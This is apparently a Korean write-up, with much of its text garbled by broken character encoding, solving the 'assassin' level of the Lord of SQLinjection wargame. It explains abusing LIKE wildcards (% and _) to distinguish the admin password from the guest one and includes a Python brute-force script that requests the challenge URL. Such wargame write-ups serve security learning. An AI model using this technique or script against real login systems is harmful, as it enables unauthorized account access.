Lord of SQLinjection - assassin
https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php
https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php
los.rubiya.kr
ํจ์ค์๋๋ฅผ ์ ๋ ฅ์ ๋ฐ๋๋ฐ '๋ฅผ ๊ธ์งํ๊ณ ์์ด์ ๋ค๋ฅธ ์ฟผ๋ฆฌ๋ฌธ์ ๋ฃ๋ ๊ฒ ํ๋ค๋ค.
๋ฌธ์ ์์ ์คํ๋๋ ์ฟผ๋ฆฌ๋ฌธ์ ์ ์ดํด๋ณด๋ฉด pw๊ฐ =๊ฐ ์๋ like๋ก ์ผ์นํ๋ ์กฐ๊ฑด์ ๊ตฌํ๊ณ ์๋ค.
LIKE๋ =์ ๋ค๋ฅด๊ฒ ํน์ ๋ฌธ์๊ฐ ํฌํจ์ด ๋์ด์์ด๋ ์กฐ๊ฑด์ ์ฐธ์ผ๋ก ๋ง๋ค ์๊ฐ ์๋ค.
์๋ฅผ ๋ค์ด A๋ก ์์ํ๋ ๋ฌธ์๋ฅผ ์ฐพ๊ณ ์ถ๋ค๋ฉด A%
A๋ก ๋๋๋ ๋ฌธ์๋ฅผ ์ฐพ๊ณ ์ถ๋ค๋ฉด %A
A๊ฐ ํฌํจํ๋ ๋ฌธ์๋ฅผ ์ฐพ๊ณ ์ถ๋ค๋ฉด %A%
์ด๋ฐ ์์ผ๋ก ๋ง์ด๋ค.
๋ํ _๋ฅผ ์ด์ฉํด ํจ์ค์๋์ ๊ธธ์ด ๋ํ ๊ตฌํ ์๊ฐ ์๋๋ฐ
์ฐพ๊ณ ์ ํ๋ ๊ฐ์ ๊ธธ์ด์ ๋ง์ถฐ์ _๋ฅผ ์จ์ฃผ๋ฉด ์กฐ๊ฑด์ด ์ฐธ์ด ๋๊ฒ ๋๋ค.
1์์๋ถํฐ 8๊ฐ๊น์ง ๋ฃ์ด์ฃผ๋๊น Hello guest๊ฐ ๋์ค๋ ๊ฒ์ ๋ณด๋ ๋น๋ฐ๋ฒํธ๋ 8๊ธ์์ด๋ค.
๋๋ ์ฐ์ ๋น๋ฐ๋ฒํธ์ ๊ธธ์ด๋ฅผ ์ฐพ๊ธฐ ์ด์ ์ admin์ ๋น๋ฐ๋ฒํธ์ ํฌํจํ๋ ๋ฌธ์๋ฅผ ๊ฒ์ํด ๋ณด์๋๋ฐ
์ด๋ฐ ์์ผ๋ก ํจ์ค์๋์ 9๊ฐ ํฌํจํ๋ ๊ฒ์ ์ฐพ๋ ๋ฐฉ๋ฒ์ผ๋ก
ํ์ง๋ง ์๋ฌด๋ฆฌ ๋ชจ๋ ๋ฌธ์๋ฅผ ์ ๋ ฅ์ ํด์ฃผ์ด๋, ํด๋นํ๋ ์ ์ ๋ฅผ ์ฐพ์ง ๋ชปํ๊ฑฐ๋ ๋์๋ดค์ ๋ค guest์ผ ๋ฟ์ด์๋ค.
์ด๋ฅผ ์ถ์ธกํด ๋ณด๋ฉด admin๊ณผ guest๋ ์๋ก ๋น๋ฐ๋ฒํธ์ ๋ค์ด๊ฐ๋ ๋ฌธ์ ์์๋ค์ด ๋๊ฐ๋ค๋ ๊ฒ์ด๋ค. ์ฌ๊ธฐ์ ์๋ก ๋ฌธ์์ ์์น๊ฐ ๋ค๋ฅด๊ณ
๊ทธ๋ ๊ฒ ํด์ ๊ฐ ๋น๋ฐ๋ฒํธ์ ๋ฌธ์ ์์น๋ง๋ค ๋ฌธ์๋ค์ ๋ชจ๋ ๋์ ํด๋ด์ guest์ admin์ ๊ตฌ๋ถํ๋๋ก ํด๋ณด์๋ค.
guest์ ๋น๋ฐ๋ฒํธ๋ 1234ABCD์ด๊ณ
admin์ ๋น๋ฐ๋ฒํธ๋ 1234BACD์ผ ๊ฒฝ์ฐ์ ์์ 1234๋ ๋์ผํ์ง๋ง ์ค๊ฐ์ ๋ฌธ์๋ ๋ค๋ฅด๊ธฐ ๋๋ฌธ์ ๋ถ๋ช ๊ตฌ๋ถ์ ํ ์๊ฐ ์์ ๊ฒ์ด๋ค.
import requests
parameter = None
cookie = {'PHPSESSID':'์์ ์ ์ฟ ํค ๊ฐ์ ์
๋ ฅ'}
result = None
solve = ""
for i in range(8):
for ascii in range(48, 112+1):
print(ascii)
parameter = "?pw=" + ("_" * i) + "{}%".format(chr(ascii)) + ( "_" * (7 - i) )
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php" + parameter
result = requests.get(url=url, cookies=cookie).text
print(parameter)
if "Hello admin" in result:
print("success!")
exit(0)
์ด๋ ๊ฒ ํ์ด์ฌ์ผ๋ก ๊ฐ๋จํ ์๋ํ ๋๊ตฌ๋ฅผ ๋ง๋ค์ด ์ฃผ์๋ค.
a%_______ ์ด๋ฐ ์์ผ๋ก ๊ฐ ์๋ฆฌ์๋ 64๊ฐ์ ๋ฌธ์๊ฐ ๋ค์ด๊ฐ๊ฒ ๋ ๊ฒ์ด๊ณ ,
์๋๋ฅผ ๋์ ์ฒซ ๋ฒ์งธ ์๋ฆฌ์๋ Hello admin์ด ๋์ค์ง ์๋๋ค๋ฉด ๋ฐ๋ก ๋ค์ ์ด๋ก ์ด๋ํ๋ ๋ฐฉ์์ด๋ค.
_%a______
์ด 8 * 64(512)๋ฒ ์๋ํ๊ฒ ๋๋ค.